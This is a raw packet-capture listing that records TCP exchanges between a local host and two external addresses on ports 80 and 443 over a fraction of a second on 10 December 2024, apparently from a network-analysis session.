Dec 10, 2024 05:10:45.755403042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.755451918 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.756146908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.756253958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.756262064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.756306887 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.757008076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.757055044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.757071972 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.757113934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.757894993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.757934093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.757966995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.758008003 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.758784056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.758836031 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.758867979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.759124994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.759651899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.759695053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.759757996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.759802103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.761317015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.761329889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.761374950 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.761408091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.761450052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.761522055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.762078047 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.762296915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.762351990 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.762406111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.762448072 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.763186932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.763231039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.763298988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.763526917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.764158010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.764209032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.764383078 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.764427900 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.765144110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.765187979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.765398979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.765456915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.765873909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.766036034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.766041994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.766077042 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.766947031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.766987085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.767070055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.767119884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.767781019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.767832994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.767872095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.767913103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.768475056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.768558979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.768598080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.769331932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.769392014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.769433975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.769478083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.770216942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.770271063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.770320892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.770364046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.771106958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.771150112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.771200895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.771244049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.771970034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.772017956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.773207903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.773256063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.775166988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775223970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775244951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775255919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775264025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.775266886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775279999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.775293112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.775310993 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.776177883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.776189089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.776221037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.776232004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.776622057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.776653051 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.776669025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.776690960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.777271986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.777326107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.777407885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.777450085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.779743910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.779799938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.779891968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.779932976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.780674934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.780730009 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.780854940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.780864954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.780881882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.780899048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.780927896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.781332970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.781424999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.781483889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.781538963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.782150030 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.782196999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.782339096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.782381058 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.783016920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.783099890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.783185005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.783227921 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.784085989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.784097910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.784135103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.784949064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.784960985 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.784996986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.785768032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.785778999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.785808086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.785823107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.794980049 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.795053959 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.805804968 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.805824995 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.806046963 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.821840048 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.822601080 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.822640896 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.822751045 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.822782040 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.822910070 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.822937965 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823138952 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823168993 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823332071 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823358059 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823529005 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823555946 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823565960 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823574066 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823729038 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823759079 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.823787928 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823805094 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823827028 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.823909998 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.867333889 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.867599964 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.867624998 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.867659092 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.867671967 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.867698908 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.867716074 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.931880951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.931940079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.931941032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.932188034 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.932261944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.932423115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.932461977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.933109045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.933303118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.933319092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.933340073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.933984041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.934020996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.934252977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.934381962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.934416056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.935204029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.935252905 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.935322046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.935354948 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.936089039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.936127901 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.936173916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.936381102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.936949015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.936984062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.937098026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.937222004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.937840939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.937894106 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.937927008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.938045979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.938760996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.938827991 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.938862085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.939538002 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.939593077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.939685106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.939723969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.940433025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.940510035 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.940531969 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.940562963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.941389084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.941401958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.941430092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.942387104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.942399979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.942430973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.942449093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.943061113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.943099022 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.943160057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.943229914 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.944010019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.944051981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.944122076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.944158077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.944888115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.944927931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.945091963 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.945137978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.945780993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.945821047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.945830107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.945857048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.946702957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.946716070 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.946777105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.947515965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.947617054 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.947657108 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.948369980 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.948415995 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.948491096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.948544025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.949320078 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.949367046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.949409962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.949450970 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.950185061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.950257063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.950424910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.950555086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.951118946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.951179981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.951266050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.951334953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.951877117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.951916933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.951930046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.951976061 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.952739954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.952780008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.952846050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.952884912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.953686953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.953700066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.953743935 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.954516888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.954607964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.954637051 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.954905987 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.955439091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.955482960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.955544949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.955584049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.956289053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.956378937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.956403017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.956453085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.957180977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.957240105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.957274914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.957312107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.958091974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.958151102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.958158970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.958205938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.958940029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.959007978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.959048033 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.959091902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.959820986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.959887981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.959984064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.960030079 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.960674047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.960726023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.960746050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.960791111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.961558104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.961664915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.961693048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.961708069 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.962445974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.962493896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.962603092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.962647915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.963320017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.963365078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.963443041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.963495016 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.964209080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.964235067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.964296103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.965087891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.965198994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.965257883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.966032028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.966103077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.966133118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.966218948 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.966922045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.966942072 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.966980934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.966995955 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.967767954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.967875004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.967904091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.967926025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.968605995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.968663931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.968724012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.968764067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.969489098 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.969536066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.969588995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.969666004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.970367908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.970422029 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.970488071 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.970524073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.971259117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.971302032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.971339941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.971743107 CET	49921	80	192.168.2.5	185.215.113.16
